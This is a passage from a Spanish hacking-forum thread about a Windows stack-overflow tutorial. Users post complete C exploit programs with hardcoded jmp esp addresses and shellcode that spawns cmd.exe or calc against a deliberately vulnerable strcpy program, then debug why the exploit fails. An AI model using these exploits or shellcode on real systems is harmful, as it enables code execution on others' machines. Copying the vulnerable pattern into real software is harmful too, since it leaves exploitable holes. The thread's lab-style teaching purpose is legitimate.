Páginas: 1 2 [3] 4
|
 |
|
Autor
|
Tema: <-!-> Taller de Stack Overflows en Windows, por Rojodos (Leído 18783 veces)
|
sch3m4
Colaborador
Desconectado
Mensajes: 1.517
Nihil est in intelectu quod prius not fuerit insen
|
bueno, ya lo solucione, aqui os pongo el code: #include <stdio.h> #include <string.h> #include <stdlib.h> #include <windows.h>
int main() { //buffer char EvilBuffer[1024]="\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"; //direccion de jmp esp de ntdll.dll WinXP SP1 Español char Offset[]="\xCC\x59\xFA\x77"; /*Shellcode con la llamada a system("cmd.exe"); Offset de la funcion system en msvcrt.dll: 0x77bf8044 */ char ShellCode[]="\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6" "\x45\xF8\x63\xC6\x45\xF9\x6D\xC6\x45\xFA\x64\xC6\x45" "\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD\x78\xC6\x45\xFE" "\x65\x8D\x45\xF8\x50\xBB\x44\x80\xBF\x77\xFF\xD3"; /* HMODULE Dll=LoadLibrary("msvcrt.dll"); __asm{ push ebp mov ebp,esp xor edi,edi push edi sub esp,04h mov byte ptr [ebp-08h],63h mov byte ptr [ebp-07h],6Dh mov byte ptr [ebp-06h],64h mov byte ptr [ebp-05h],2Eh mov byte ptr [ebp-04h],65h mov byte ptr [ebp-03h],78h mov byte ptr [ebp-02h],65h lea eax,[ebp-08h] push eax mov ebx,0x77bf8044//Offset de la funcion system en msvcrt.dll call ebx } FreeLibrary(Dll); */
//creamos el parametro: Buffer + Offset + ShellCode strcat(EvilBuffer,Offset); strcat(EvilBuffer,ShellCode); //explotamos }:-D ShellExecute(NULL,"OPEN","vulnl.exe",EvilBuffer,NULL,true); return 0; }
|
|
|
|
|
En línea
|
|
|
|
Dark_Knight
Desconectado
Mensajes: 98
|
hola tengo un problemacon el exploit.. cuando lo ejecuto me aparece algo asi.... AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLL▲ò|Uïý3 Wâý♦ãE°cãE¨mãE·dãE¹.ãE³eãE²xãE■eìE°P╗Ãô┐w Ë que estoy haciendo mal... y tengo una pregunta... cuando analizo los jmp de ntdll.dll me aparecen dos.. que hago... coloco los 2 jmp que me aparecen o solo coloco uno de los dos... espero su respuesta.. gracias 
|
|
|
|
|
En línea
|
El hombre no puede crear nada sin antes dar algo a cambio... para crear... algo del mismo valor debe perderse.... esa es la ley de la equivalencia de intercambio... y el que desafie esa ley se convertira en un desafio de las creencias del ser humano y de la existencia de dios....
|
|
|
bochan
Desconectado
Mensajes: 20
|
No entiendo por que este array: char EvilBuffer[1024], es de 1024... no tendria q ser de 64 para que se produzca el overflow??? saludos
|
|
|
|
|
En línea
|
|
|
|
Crack_X
Anti-War
Colaborador
Desconectado
Mensajes: 2.324
Peace & Love
|
Debe ser mayor que 64 para producirse el overflow.
|
|
|
|
|
En línea
|
|
|
|
bochan
Desconectado
Mensajes: 20
|
Pero si es mayor de 64 no se produce overflow si le metes las mismas As q si es de 64
saludos
|
|
|
|
|
En línea
|
|
|
|
_Xerks_
Desconectado
Mensajes: 35
Díselo a mi brillante culo metálico.
|
Hola a todos, quería en principio felicitar a Rojodos por este magnífico tutorial de "Stack Overflows en Windows", me ha encantado.  Por si a alguien le resultara de ayuda posteo los códigos que adapté para mi Windows Xp SP2 Esp., compilados con Dev CPP. Vuln1.c #include <stdio.h> // librería stdio.h, funciones básicas de Entrada/Salida #include <string.h>
int main (int argc, char **argv){ // La función "principal" del programa
char buffer[64]; //Declaramos un array con 64 bytes de espacio if (argc < 2){ // Si los argumentos son menores que 2... printf ("Introduzca un argumento al programa\n"); //Printeamos return 0; // y retornamos 0 a la función main, y el programa acaba } strcpy (buffer, argv[1]); // Aqui es donde esta el fallo.
return 0; // Devolvemos 0 a main, y el programa acaba. } exploit_vuln1.c #include <stdio.h> #include <stdlib.h>
int main (int argc,char **argv) {
char evilbuffer[1024]="AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS";
char shellcode[]="\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45\xF9\x6D\xC6\x45" "\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD\x78\xC6\x45\xFE\x65\x8D\x45\xF8\x50" "\xBB\xC7\x93\xBF\x77\xFF\xD3";
char offset[]="\xED\x1E\x95\x7C"; strcat(evilbuffer,offset); strcat(evilbuffer,shellcode); printf ("Cadena + offset + shellcode en formato printable\n\n"); printf ("%s", evilbuffer);
argv[0] = "vuln1"; argv[1] = evilbuffer; argv[2] = NULL; execv ("vuln1.exe",argv); } Un salu2.
|
|
|
|
« Última modificación: 26 Abril 2007, 22:50 por _Xerks_ »
|
En línea
|
|
|
|
bochan
Desconectado
Mensajes: 20
|
Tengo el mismo codigo que _Xerks_ y a mi no me funciona: #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <windows.h>
int main (int argc,char **argv) {
char evilbuffer[1024]="AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS";
char shellcode[]="\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45\xF9\x6D\xC6\x45" "\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD\x78\xC6\x45\xFE\x65\x8D\x45\xF8\x50" "\xBB\xC7\x93\xBF\x77\xFD\xD3";
char offset[]="\xED\x1E\x95\x7C"; strcat(evilbuffer,offset); strcat(evilbuffer,shellcode); printf ("Cadena + offset + shellcode en formato printable\n\n"); printf ("%s", evilbuffer);
argv[0] = "vuln1"; argv[1] = evilbuffer; argv[2] = NULL; execv ("vuln1.exe",argv); }
Uso winXp SP2
|
|
|
|
|
En línea
|
|
|
|
_Xerks_
Desconectado
Mensajes: 35
Díselo a mi brillante culo metálico.
|
Hola Bochan, fíjate en esto... Mi código: "\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45\xF9\x6D\xC6\x45" "\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD\x78\xC6\x45\xFE\x65\x8D\x45\xF8\x50" "\xBB\xC7\x93\xBF\x77\xFF\xD3" Tu código: \x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45\xF9\x6D\xC6\x45" "\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD\x78\xC6\x45\xFE\x65\x8D\x45\xF8\x50" "\xBB\xC7\x93\xBF\x77\ xFD\xD3"] Ya no es el mismo código  Un salu2.
|
|
|
|
|
En línea
|
|
|
|
bochan
Desconectado
Mensajes: 20
|
Aunque lo cambie no me hace nada.... q compilador usas Dev-cpp?? Ya estoy deseperado porque lo ejecute y no hace nada de nada me tiene harto, llevo 5 dias con esto no veas lo q me esta costando
saludos
|
|
|
|
|
En línea
|
|
|
|
_Xerks_
Desconectado
Mensajes: 35
Díselo a mi brillante culo metálico.
|
Hola de nuevo, si, uso Dev Cpp, sólo por descartar posibles errores chorras, me imagino q´tienes compilado el Vuln1.c, y lo debes tener en la misma carpeta donde tengas compilado el exploit_vuln1.c, de no ser así, si exploit_vuln1.exe no encuentra a vuln1.exe no funcionará.
Un saludo.
|
|
|
|
« Última modificación: 27 Abril 2007, 07:21 por _Xerks_ »
|
En línea
|
|
|
|
bochan
Desconectado
Mensajes: 20
|
LoL tio era esooo!!!! tenia el vuln1.exe fuera de la carpeta de exploit_vul.exe joder q pardillo toy echo como se nota que soy novato....
gracias por la ayuda
|
|
|
|
|
En línea
|
|
|
|
Crack_X
Anti-War
Colaborador
Desconectado
Mensajes: 2.324
Peace & Love
|
Pero si es mayor de 64 no se produce overflow si le metes las mismas As q si es de 64
saludos
Veamos, si tienes un vaso de 64 cc o lo que quieras... y le hechas 64cc de agua, pues esta lleno pero no se sale el agua porque cupo perfectamente, es lo que aguanta. Si le hechas 100cc de agua a un vaso que solamente puede contener 64cc pues se desborda, se produce un overflow. El overflow es poner mas de lo que aguanta. El buffer es de 64, si le pones de mas pues se desborda.
|
|
|
|
|
En línea
|
|
|
|
bochan
Desconectado
Mensajes: 20
|
Ok ya entendi todo es que me lie con los arrays de 64 y de 1024 jaja gracias por la ayuda
|
|
|
|
|
En línea
|
|
|
|
_Xerks_
Desconectado
Mensajes: 35
Díselo a mi brillante culo metálico.
|
Hola de nuevo, he cambiado la shellcode para que en lugar de devolvernos al cmd ejecute la calculadora de windows, es una tonteria, pero lo posteo sólo para jugar con el exploit viendo un resultado diferente. exploit_vuln1_calc.c #include <stdio.h> #include <stdlib.h>
int main (int argc,char **argv) {
char evilbuffer[1024]="AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS";
char shellcode[]="\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45\xFB\x63\xC6\x45\xFC\x61\xC6\x45\xFD\x6C\xC6\x45\xFE\x63\x8D\x45\xFB\x50\xBB\xC7\x93\xBF\x77\xFF\xD3";
char offset[]="\xED\x1E\x95\x7C"; strcat(evilbuffer,offset); strcat(evilbuffer,shellcode); printf ("Cadena + offset + shellcode en formato printable\n\n"); printf ("%s", evilbuffer);
argv[0] = "vuln1"; argv[1] = evilbuffer; argv[2] = NULL; execv ("vuln1.exe",argv); } Un saludo.
|
|
|
|
|
En línea
|
|
|
|
Deka_10
Desconectado
Mensajes: 199
|
la pagina se ha muerto, lo vuelves a subir?
|
|
|
|
|
En línea
|
Islam != Terrorism
|
|
|
|
Páginas: 1 2 [3] 4
|
|
|
|